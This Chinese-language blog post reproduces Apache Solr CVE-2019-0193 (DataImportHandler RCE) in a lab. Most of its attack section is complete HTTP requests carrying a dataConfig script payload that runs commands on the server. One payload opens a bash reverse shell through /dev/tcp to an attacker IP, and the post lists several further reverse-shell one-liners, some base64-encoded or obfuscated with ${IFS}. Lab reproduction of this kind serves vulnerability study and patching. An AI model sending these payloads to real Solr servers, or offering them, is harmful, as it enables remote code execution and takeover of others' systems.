Apache Solr 远程执行漏洞 CVE-2019-0193 复现记录

漏洞概述

2019 年 08 月 01 日,Apache Solr 官方发布预警,Apache Solr DataImport 功能 在开启 Debug 模式时,可以接收来自请求的”dataConfig”参数,这个参数的功能与data-config.xml 一样,不过是在开启 Debug 模式时方便通过此参数进行调试,并且 Debug 模式的开启是通过参数传入的。在 dataConfig 参数中可以包含 script 恶意脚本导致远程代码执行。

环境

  • jdk-1.8
  • solr 8.1.1

相关概念

工作机制

1.solr 是在 lucene 工具包的基础之上进行了封装,并且以 web 服务的形式对外提供索引功能。

  1. 业务使用 solr 时,发起 http 请求,将返回的数据进行解析即可。

solr 中索引库用 core 表示,通过 DataImportHandler 可以批量把数据导入索引库中,工作流程大致如下:

其中 schema.xml/managed-schema 中定义了字段信息,以及建立索引时如何处理数据。

dataConfig.xml文件指定了数据源以及指定处理数据的方式,比如可以接受来自 http、ftp 的数据,然后将其按照 java、javascript、时间等格式解析。如果 solr 开启了 debug=true,那么就可以通过 http 请求动态的指定dataConfig.xml 的内容了。

使用命令创建一个 core,使用 web 页面创建 core 会失败:

也可以通过 configSet 请求创建,但是无论通过哪种方式创建索引库,都需要手动配置 solrconfig.xml 来开启 dataimport 功能。
本文的目的仅仅是测试漏洞,所以直接使用 solr 自带的示例DIH,启动方式如下:

利用方式

  1. 打开主页,默认 8983 端口,选择索引库 tika,打开DataImport 界面,开启 Debug 模式:
  2. 利用 bp 抓包,点击 Execute,可以看到请求头中带有debug=true,构造 poc 的时候也要带上,后面DataConfig 字段才能生效。
  3. DataConfig字段是编码之后的,解码还原后的 http 请求:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    POST /solr/tika/dataimport?_=1565760731900&indent=on&wt=json HTTP/1.1
    Host: 192.168.80.133:8983
    Proxy-Connection: keep-alive
    Content-Length: 1238
    Accept: application/json, text/plain, */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
    Content-type: application/x-www-form-urlencoded
    Origin: http://192.168.80.133:8983
    Referer: http://192.168.80.133:8983/solr/
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9

    command=full-import&verbose=false&clean=false&commit=true&debug=true&core=tika&name=dataimport&dataConfig=
    <dataConfig>
    <dataSource type="BinFileDataSource"/>
    <document>
    <entity name="file" processor="FileListEntityProcessor" dataSource="null"
    baseDir="${solr.install.dir}/example/exampledocs" fileName=".*pdf"
    rootEntity="false">

    <field column="file" name="id"/>

    <entity name="pdf" processor="TikaEntityProcessor"
    url="${file.fileAbsolutePath}" format="text">

    <field column="Author" name="author" meta="true"/>
    <!-- in the original PDF, the Author meta-field name is upper-cased,
    but in Solr schema it is lower-cased
    -->

    <field column="title" name="title" meta="true"/>
    <field column="dc:format" name="format" meta="true"/>

    <field column="text" name="text"/>

    </entity>
    </entity>
    </document>
    </dataConfig>
  4. 根据官网 doc 找到执行 java 代码的示例,照猫画虎重新构造DataConfig

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    POST /solr/tika/dataimport?_=1565760731900&indent=on&wt=json HTTP/1.1
    Host: 192.168.80.133:8983
    Proxy-Connection: keep-alive
    Content-Length: 542
    Accept: application/json, text/plain, */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
    Content-type: application/x-www-form-urlencoded
    Origin: http://192.168.80.133:8983
    Referer: http://192.168.80.133:8983/solr/
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9

    command=full-import&verbose=false&clean=false&commit=true&debug=true&core=tika&name=dataimport&dataConfig=
    <dataConfig>
    <dataSource type="URLDataSource"/>
    <script><![CDATA[
    function poc(){ java.lang.Runtime.getRuntime().exec("ping 1.1.1.1");
    }
    ]]></script>
    <document>
    <entity name="stackoverflow"
    url="https://stackoverflow.com/feeds/tag/solr"
    processor="XPathEntityProcessor"
    forEach="/feed"
    transformer="script:poc" />
    </document>
    </dataConfig>

可以看到,执行成功:

查看进程,可以看到 ping 进程已经启动。

GetShell

  1. kali 中监听 4444 端口,准备GetShell
  2. 构造 POC,该POC 会反弹一个 shellkali,如下:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    POST /solr/tika/dataimport?_=1565760731900&indent=on&wt=json HTTP/1.1
    Host: 192.168.80.133:8983
    Proxy-Connection: keep-alive
    Content-Length: 542
    Accept: application/json, text/plain, */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
    Content-type: application/x-www-form-urlencoded
    Origin: http://192.168.80.133:8983
    Referer: http://192.168.80.133:8983/solr/
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9

    command=full-import&verbose=false&clean=false&commit=true&debug=true&core=tika&name=dataimport&dataConfig=
    <dataConfig>
    <dataSource type="URLDataSource"/>
    <script><![CDATA[
    function poc(){ java.lang.Runtime.getRuntime().exec("bash -i >& /dev/tcp/192.168.80.129/4444 0>&1");
    }
    ]]></script>
    <document>
    <entity name="stackoverflow"
    url="https://stackoverflow.com/feeds/tag/solr"
    processor="XPathEntityProcessor"
    forEach="/feed"
    transformer="script:poc" />
    </document>
    </dataConfig>

exec 中尝试过的反弹方式:

  • bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjgwLjEyOS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}
  • /bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/192.168.80.129/4444<&1(有点效果)
  • /bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.80.129/4444 0>&1(有点效果)
  • /bin/bash -c touch${IFS}/tmp/shell.sh;echo${IFS}'/bin/bash -i >& /dev/tcp/192.168.80.129/4444 0>&1'${IFS}>/tmp/shell.sh;/bin/bash /tmp/shell.sh
  • telnet${IFS}192.168.80.129${IFS}4444${IFS}|${IFS}/bin/bash${IFS}|${IFS}telnet${IFS}192.168.80.129${IFS}4445

确保,0 1 2重定向到socket:ls -all /proc/${PROCESS_NUM}/fd

  1. bp 中提交请求,在 kali 中仅能收到连接,但是无法交互,如下:

总结

无法获取 shell,非常遗憾,无法交互的原因可能是标准输入重定向有问题。

参考





root@kali ~# cat 重要声明
本博客所有原创文章,作者皆保留权利。转载必须包含本声明,保持文本完整,并以超链接形式注明出处【Techliu】。查看和编写文章评论都需翻墙,为了更方便地获取文章信息,可订阅RSS,如果您还没有一款喜爱的阅读器,不妨试试Inoreader.
root@kali ~# Thankyou!